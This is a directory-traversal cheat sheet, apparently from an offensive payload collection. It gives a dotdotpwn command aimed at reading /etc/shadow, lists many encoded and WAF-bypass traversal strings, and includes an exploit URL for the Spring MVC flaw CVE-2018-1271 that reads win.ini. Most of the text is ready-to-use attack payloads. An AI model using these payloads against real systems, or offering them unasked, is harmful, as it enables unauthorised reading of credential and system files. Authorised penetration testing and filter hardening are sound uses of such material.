Directory traversal
A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
Summary
Tools
- dotdotpwn - https://github.com/wireghoul/dotdotpwn
git clone https://github.com/wireghoul/dotdotpwn perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
Basic exploitation
We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
16 bits Unicode encoding
. = %u002e
/ = %u2215
\ = %u2216
UTF-8 Unicode encoding
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
Bypass "../" replaced by ""
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
..././
...\.\
Bypass "../" with ";"
..;/

Double URL encoding
. = %252e
/ = %252f
\ = %255c
e.g: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
UNC Bypass
An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
